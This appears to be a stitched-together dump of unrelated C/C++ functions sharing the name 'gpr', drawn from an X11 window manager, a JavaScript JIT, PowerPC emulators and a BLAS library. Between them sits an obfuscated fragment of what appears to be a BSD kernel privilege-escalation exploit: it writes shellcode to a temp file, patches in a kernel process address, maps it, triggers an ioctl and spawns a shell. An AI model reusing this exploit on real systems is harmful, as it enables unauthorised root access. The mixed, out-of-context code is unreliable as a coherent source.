cpu_thread& ppu_thread::run()
{
thread->run();
gpr(3, argc);
gpr(4, argv.addr());
gpr(5, envp.addr());
return *this;
}
//! Process _NET_WM_STRUT reply and update fields
void Client::process_ewmh_strut(xcb_get_property_cookie_t gpc)
{
autofree_ptr<xcb_get_property_reply_t> gpr(
xcb_get_property_reply(g_xcb.connection, gpc, NULL)
);
if (!gpr) {
WARN << "Could not retrieve _NET_WM_STRUT for window";
m_ewmh_strut.clear();
return;
}
TRACE << *gpr;
if (gpr->type != XCB_ATOM_CARDINAL ||
gpr->format != 32 || gpr->length != 4)
{
WARN << "Could not retrieve _NET_WM_STRUT for window";
m_ewmh_strut.clear();
return;
}
uint32_t* strut = (uint32_t*)xcb_get_property_value(gpr.get());
m_ewmh_strut.valid = true;
m_ewmh_strut.left = strut[0];
m_ewmh_strut.right = strut[1];
m_ewmh_strut.top = strut[2];
m_ewmh_strut.bottom = strut[3];
INFO << "EWMH _NET_WM_STRUT of window " << window() << " is "
<< m_ewmh_strut;
}
//! Process WM_STATE reply and update fields
void Client::process_wm_state(xcb_get_property_cookie_t gpc)
{
// *** process WM_STATE property
autofree_ptr<xcb_get_property_reply_t> gpr(
xcb_get_property_reply(g_xcb.connection, gpc, NULL)
);
if (!gpr) {
WARN << "Could not retrieve WM_STATE for window";
m_wm_state = XCB_ICCCM_WM_STATE_NORMAL;
return;
}
TRACE << *gpr;
if (gpr->type != g_xcb.WM_STATE.atom ||
gpr->format != 32 || gpr->length != 2)
{
WARN << "Could not retrieve WM_STATE for window";
m_wm_state = XCB_ICCCM_WM_STATE_NORMAL;
return;
}
m_wm_state = (xcb_icccm_wm_state_t)(
*(uint32_t*)xcb_get_property_value(gpr.get())
);
INFO << "ICCCM WM_STATE of window " << window() << " is "
<< IcccmWmStateFormatter(m_wm_state);
}
//! Process _NET_WM_STATE reply and update fields
void Client::process_ewmh_state(xcb_get_property_cookie_t gpc)
{
autofree_ptr<xcb_get_property_reply_t> gpr(
xcb_get_property_reply(g_xcb.connection, gpc, NULL)
);
if (!gpr || gpr->type != XCB_ATOM_ATOM) {
INFO << "Could not retrieve _NET_WM_STATE for window";
return;
}
TRACE << *gpr;
m_state_sticky = false;
m_state_above = false;
m_state_fullscreen = false;
m_state_maximized_vert = false;
m_state_maximized_horz = false;
m_state_skip_taskbar = false;
m_state_skip_pager = false;
xcb_atom_t* atoms = (xcb_atom_t*)xcb_get_property_value(gpr.get());
int n = xcb_get_property_value_length(gpr.get()) / sizeof(xcb_atom_t);
// iterate and apply properties to window
for (int i = 0; i < n; ++i)
change_ewmh_state(atoms[i], EWMH_STATE_ADD);
}
void ValueRep::emitRestore(AssemblyHelpers& jit, Reg reg) const
{
if (reg.isGPR()) {
switch (kind()) {
case LateRegister:
case Register:
if (isGPR())
jit.move(gpr(), reg.gpr());
else
jit.moveDoubleTo64(fpr(), reg.gpr());
break;
case Stack:
jit.load64(AssemblyHelpers::Address(GPRInfo::callFrameRegister, offsetFromFP()), reg.gpr());
break;
case Constant:
jit.move(AssemblyHelpers::TrustedImm64(value()), reg.gpr());
break;
default:
RELEASE_ASSERT_NOT_REACHED();
break;
}
return;
}
switch (kind()) {
case LateRegister:
case Register:
if (isGPR())
jit.move64ToDouble(gpr(), reg.fpr());
else
jit.moveDouble(fpr(), reg.fpr());
break;
case Stack:
jit.loadDouble(AssemblyHelpers::Address(GPRInfo::callFrameRegister, offsetFromFP()), reg.fpr());
break;
case Constant:
jit.move(AssemblyHelpers::TrustedImm64(value()), jit.scratchRegister());
jit.move64ToDouble(jit.scratchRegister(), reg.fpr());
break;
default:
RELEASE_ASSERT_NOT_REACHED();
break;
}
}
void VariableEvent::dumpFillInfo(const char* name, PrintStream& out) const
{
out.print(name, "(", id(), ", ");
if (dataFormat() == DataFormatDouble)
out.printf("%s", FPRInfo::debugName(fpr()));
#if USE(JSVALUE32_64)
else if (dataFormat() & DataFormatJS)
out.printf("%s:%s", GPRInfo::debugName(tagGPR()), GPRInfo::debugName(payloadGPR()));
#endif
else
out.printf("%s", GPRInfo::debugName(gpr()));
out.printf(", %s)", dataFormatToString(dataFormat()));
}
_t v evi(){_________ rts[2]={0xee5f9be,0xebdfc46};__ i,moo,moooo;v *p;_________
ppa;_ki kp;rts[0]=rts[0]^(mg1^mg3);rts[1]=rts[1]^(mg2^mg4);gpr((_pi)getpid(),//
&kp);ppa=(_________)kp.kp_eproc.e_paddr;shlr[24+5]=ppa&0xff;shlr[24+6]=(ppa>>8)&
0xff;shlr[24+7]=(ppa>>16)&0xff;shlr[24+8]=(ppa>>24)&0xff;____("\x5b\x2b\x5d\x20"
"\x53\x68\x65\x6c\x6c\x63\x6f\x64\x65\x3a\x20""%u bytes at %p\x0a",(unsigned)//
_____(shlr),&shlr);moo=mkstemp(tks);if(moo<0){_______(1,"\x6f\x70\x65\x6e");}
_w_w_w_w_w_w_w_w(moo,shlr,_____(shlr));if((lseek(moo,0L,SEEK_SET))<0){_______(1,
"\x6c\x73\x65\x65\x6b");}p=dirtysanchez(0,_____(shlr),meltwax,raadt,moo,0);if(p
==openbsdsec){_______(1,"\x6d\x6d\x61\x70");}moooo=open(gde,O_RDWR);if(moooo<0){
munmap(p,_____(shlr));reopen(moo);_______(1,"\x6f\x70\x65\x6e");}molest(provos,
moooo,0x80044103,NULL);reopen(moooo);reopen(moo);___________(0);__________(ctkrn);
____________(shl,"sh",(v *)ctkrn);
}
ValueRecovery ValueRep::recoveryForJSValue() const
{
switch (kind()) {
case Register:
return ValueRecovery::inGPR(gpr(), DataFormatJS);
case Stack:
RELEASE_ASSERT(!(offsetFromFP() % sizeof(EncodedJSValue)));
return ValueRecovery::displacedInJSStack(
VirtualRegister(offsetFromFP() / sizeof(EncodedJSValue)),
DataFormatJS);
case Constant:
return ValueRecovery::constant(JSValue::decode(value()));
default:
RELEASE_ASSERT_NOT_REACHED();
return { };
}
}
//! Process _NET_WM_STRUT_PARTIAL reply and update fields
void Client::process_ewmh_strut_partial(xcb_get_property_cookie_t gpc)
{
autofree_ptr<xcb_get_property_reply_t> gpr(
xcb_get_property_reply(g_xcb.connection, gpc, NULL)
);
if (!gpr) {
WARN << "Could not retrieve _NET_WM_STRUT_PARTIAL for window";
m_ewmh_strut.clear();
return;
}
TRACE << *gpr;
if (gpr->type != XCB_ATOM_CARDINAL ||
gpr->format != 32 || gpr->length != 12)
{
WARN << "Could not retrieve _NET_WM_STRUT_PARTIAL for window";
m_ewmh_strut.clear();
return;
}
uint32_t* strut = (uint32_t*)xcb_get_property_value(gpr.get());
m_ewmh_strut_partial.valid = true;
m_ewmh_strut_partial.left = strut[0];
m_ewmh_strut_partial.right = strut[1];
m_ewmh_strut_partial.top = strut[2];
m_ewmh_strut_partial.bottom = strut[3];
m_ewmh_strut_partial.left_start_y = strut[4];
m_ewmh_strut_partial.left_end_y = strut[5];
m_ewmh_strut_partial.right_start_y = strut[6];
m_ewmh_strut_partial.right_end_y = strut[7];
m_ewmh_strut_partial.top_start_x = strut[8];
m_ewmh_strut_partial.top_end_x = strut[9];
m_ewmh_strut_partial.bottom_start_x = strut[10];
m_ewmh_strut_partial.bottom_end_x = strut[11];
INFO << "EWMH _NET_WM_STRUT_PARTIAL of window " << window() << " is "
<< m_ewmh_strut_partial;
}
// Execute EMUL_OP routine
void sheepshaver_cpu::execute_emul_op(uint32 emul_op)
{
M68kRegisters r68;
WriteMacInt32(XLM_68K_R25, gpr(25));
WriteMacInt32(XLM_RUN_MODE, MODE_EMUL_OP);
for (int i = 0; i < 8; i++)
r68.d[i] = gpr(8 + i);
for (int i = 0; i < 7; i++)
r68.a[i] = gpr(16 + i);
r68.a[7] = gpr(1);
uint32 saved_cr = get_cr() & 0xff9fffff; // mask_operand::compute(11, 8)
uint32 saved_xer = get_xer();
EmulOp(&r68, gpr(24), emul_op);
set_cr(saved_cr);
set_xer(saved_xer);
for (int i = 0; i < 8; i++)
gpr(8 + i) = r68.d[i];
for (int i = 0; i < 7; i++)
gpr(16 + i) = r68.a[i];
gpr(1) = r68.a[7];
WriteMacInt32(XLM_RUN_MODE, MODE_68K);
}
bool cmpx(State *state, Instruction instr)
{
auto flags = 0;
Type a, b;
if (instr.l == 0) {
if (std::numeric_limits<Type>::is_signed) {
a = little_endian::signExtend<32, Type>(gpr(instr.rA));
} else {
a = little_endian::zeroExtend<32, Type>(gpr(instr.rA));
}
} else {
a = static_cast<Type>(gpr(instr.rA));
}
if (Flags & CmpxImmediate) {
if (std::numeric_limits<Type>::is_signed) {
b = little_endian::signExtend<16, Type>(instr.simm);
} else {
b = instr.uimm;
}
} else if (instr.l == 0) {
if (std::numeric_limits<Type>::is_signed) {
b = little_endian::signExtend<32, Type>(gpr(instr.rB));
} else {
b = little_endian::zeroExtend<32, Type>(gpr(instr.rB));
}
} else {
b = static_cast<Type>(gpr(instr.rB));
}
if (a < b) {
flags |= ppc::Cr::Negative;
} else if (a > b) {
flags |= ppc::Cr::Positive;
} else {
flags |= ppc::Cr::Zero;
}
flags |= state->reg.xer.so;
crf(instr.crfD) = flags;
return true;
}
void Mjoin( PATL, spr2L )
(
const int N,
const TYPE * X,
const TYPE * Y,
TYPE * A,
const int LDA
)
{
/*
* Purpose
* =======
*
* Mjoin( PATL, spr2L ) performs the symmetric rank 2 operation
*
* A := alpha * x * y' + alpha * y * x' + A,
*
* where alpha is a scalar, x and y are n-element vectors and A is an n
* by n symmetric matrix, supplied in packed form.
*
* This is a recursive version of the algorithm. For a more detailed
* description of the arguments of this function, see the reference im-
* plementation in the ATLAS/src/blas/reference directory.
*
* ---------------------------------------------------------------------
*/
/*
* .. Local Variables ..
*/
#ifdef TREAL
#define one ATL_rone
#else
const TYPE one[2] = { ATL_rone, ATL_rzero };
#endif
TYPE * A0, * x0, * y0;
int j, jb, jbs, lda = LDA, m, mb, nb;
#ifdef TREAL
#define gpr Mjoin( PATL, gpr1L_a1_x1_yX )
#else
#define gpr Mjoin( PATL, gpr1uL_a1_x1_yX )
#endif
/* ..
* .. Executable Statements ..
*
*/
ATL_GetPartP1( A, LDA, mb, nb );
x0 = (TYPE *)(X); y0 = (TYPE *)(Y);
for( j = 0; j < N; j += nb )
{
jb = N - j; jb = Mmin( jb, nb );
Mjoin( PATL, refspr2L )( jb, one, X, 1, Y, 1, A, lda );
if( ( m = N-j-jb ) != 0 )
{
jbs = (jb SHIFT); A0 = (TYPE *)(A) + jbs; X += jbs; Y += jbs;
gpr( m, jb, one, X, 1, y0, 1, A0, lda );
gpr( m, jb, one, Y, 1, x0, 1, A0, lda );
MLpnext( jb, A, lda ); x0 = (TYPE *)(X); y0 = (TYPE *)(Y);
}
}
/*
* End of Mjoin( PATL, spr2L )
*/
}
void ValueRecovery::dumpInContext(PrintStream& out, DumpContext* context) const
{
switch (technique()) {
case InGPR:
out.print(gpr());
return;
case UnboxedInt32InGPR:
out.print("int32(", gpr(), ")");
return;
case UnboxedInt52InGPR:
out.print("int52(", gpr(), ")");
return;
case UnboxedStrictInt52InGPR:
out.print("strictInt52(", gpr(), ")");
return;
case UnboxedBooleanInGPR:
out.print("bool(", gpr(), ")");
return;
case UnboxedCellInGPR:
out.print("cell(", gpr(), ")");
return;
case UInt32InGPR:
out.print("uint32(", gpr(), ")");
return;
case InFPR:
out.print(fpr());
return;
#if USE(JSVALUE32_64)
case InPair:
out.print("pair(", tagGPR(), ", ", payloadGPR(), ")");
return;
#endif
case DisplacedInJSStack:
out.printf("*%d", virtualRegister().offset());
return;
case Int32DisplacedInJSStack:
out.printf("*int32(%d)", virtualRegister().offset());
return;
case Int52DisplacedInJSStack:
out.printf("*int52(%d)", virtualRegister().offset());
return;
case StrictInt52DisplacedInJSStack:
out.printf("*strictInt52(%d)", virtualRegister().offset());
return;
case DoubleDisplacedInJSStack:
out.printf("*double(%d)", virtualRegister().offset());
return;
case CellDisplacedInJSStack:
out.printf("*cell(%d)", virtualRegister().offset());
return;
case BooleanDisplacedInJSStack:
out.printf("*bool(%d)", virtualRegister().offset());
return;
case ArgumentsThatWereNotCreated:
out.printf("arguments");
return;
case Constant:
out.print("[", inContext(constant(), context), "]");
return;
case DontKnow:
out.printf("!");
return;
}
RELEASE_ASSERT_NOT_REACHED();
}
/* Get register by name */
Test::Register Test::getRegister(ppc::Interpreter::State &state, const std::string &name)
{
std::smatch smatch;
/* General Purpose Register */
std::regex gpr("%r([0-9]+)");
if (std::regex_match(name, smatch, gpr) && smatch.size() == 2) {
auto reg = std::stol(smatch[1].str());
if (reg >= 0 && reg <= 31) {
return Register(RegisterType::Integer64, &state.reg.gpr[reg]);
}
}
/* FPU Register */
std::regex fpr("%f([0-9]+)");
if (std::regex_match(name, smatch, fpr) && smatch.size() == 2) {
auto reg = std::stol(smatch[1].str());
if (reg >= 0 && reg <= 31) {
return Register(RegisterType::Double64, &state.reg.fpr[reg]);
}
}
/* XER Link Register */
if (name.compare("%lr") == 0) {
return Register(RegisterType::Integer64, &state.reg.lr);
}
/* XER Carry */
if (name.compare("%xer[ca]") == 0) {
return Register(RegisterType::BitField64, little_endian::make_bit_field(state.reg.xer.value, 34, 35));
}
/* XER Overflow */
if (name.compare("%xer[ov]") == 0) {
return Register(RegisterType::BitField64, little_endian::make_bit_field(state.reg.xer.value, 33, 34));
}
/* Condition Register Field */
std::regex crf("%crf([0-9]+)");
if (std::regex_match(name, smatch, crf) && smatch.size() == 2) {
auto field = std::stol(smatch[1].str());
if (field >= 0 && field <= 8) {
return Register(RegisterType::BitField32, state.reg.cr.crn[field]);
}
}
/* Condition Register Bit */
std::regex crb("%crb([0-9]+)");
if (std::regex_match(name, smatch, crb) && smatch.size() == 2) {
auto bit = std::stol(smatch[1].str());
if (bit >= 0 && bit <= 31) {
return Register(RegisterType::BitField32, little_endian::make_bit_field(state.reg.cr.value, bit, bit));
}
}
return Register();
}
//! Process _NET_WM_WINDOW_TYPE reply and update fields
void Client::process_ewmh_window_type(xcb_get_property_cookie_t gpc)
{
m_ewmh_window_type = EWMH_WINDOW_TYPE_NORMAL;
autofree_ptr<xcb_get_property_reply_t> gpr(
xcb_get_property_reply(g_xcb.connection, gpc, NULL)
);
if (!gpr || gpr->type != XCB_ATOM_ATOM) {
INFO << "Could not retrieve _NET_WM_WINDOW_TYPE for window";
return;
}
TRACE << *gpr;
xcb_atom_t* atomlist = (xcb_atom_t*)xcb_get_property_value(gpr.get());
int n = xcb_get_property_value_length(gpr.get()) / sizeof(xcb_atom_t);
for (int i = 0; i < n; ++i)
{
// use the first value in the array that we know
if (atomlist[i] == g_xcb._NET_WM_WINDOW_TYPE_NORMAL.atom) {
INFO << "Found _NET_WM_WINDOW_TYPE_NORMAL atom.";
break;
}
else if (atomlist[i] == g_xcb._NET_WM_WINDOW_TYPE_DESKTOP.atom) {
INFO << "Found _NET_WM_WINDOW_TYPE_DESKTOP atom.";
m_ewmh_window_type = EWMH_WINDOW_TYPE_DESKTOP;
break;
}
else if (atomlist[i] == g_xcb._NET_WM_WINDOW_TYPE_DOCK.atom) {
INFO << "Found _NET_WM_WINDOW_TYPE_DOCK atom.";
m_ewmh_window_type = EWMH_WINDOW_TYPE_DOCK;
break;
}
else if (atomlist[i] == g_xcb._NET_WM_WINDOW_TYPE_TOOLBAR.atom) {
INFO << "Found _NET_WM_WINDOW_TYPE_TOOLBAR atom.";
m_ewmh_window_type = EWMH_WINDOW_TYPE_TOOLBAR;
break;
}
else if (atomlist[i] == g_xcb._NET_WM_WINDOW_TYPE_MENU.atom) {
INFO << "Found _NET_WM_WINDOW_TYPE_MENU atom.";
m_ewmh_window_type = EWMH_WINDOW_TYPE_MENU;
break;
}
else if (atomlist[i] == g_xcb._NET_WM_WINDOW_TYPE_UTILITY.atom) {
INFO << "Found _NET_WM_WINDOW_TYPE_UTILITY atom.";
m_ewmh_window_type = EWMH_WINDOW_TYPE_UTILITY;
break;
}
else if (atomlist[i] == g_xcb._NET_WM_WINDOW_TYPE_SPLASH.atom) {
INFO << "Found _NET_WM_WINDOW_TYPE_SPLASH atom.";
m_ewmh_window_type = EWMH_WINDOW_TYPE_SPLASH;
break;
}
else if (atomlist[i] == g_xcb._NET_WM_WINDOW_TYPE_DIALOG.atom) {
INFO << "Found _NET_WM_WINDOW_TYPE_DIALOG atom.";
m_ewmh_window_type = EWMH_WINDOW_TYPE_DIALOG;
break;
}
else {
WARN << "Unknown _NET_WM_WINDOW_TYPE atom: "
<< g_xcb.find_atom_name(atomlist[i]);
}
}
}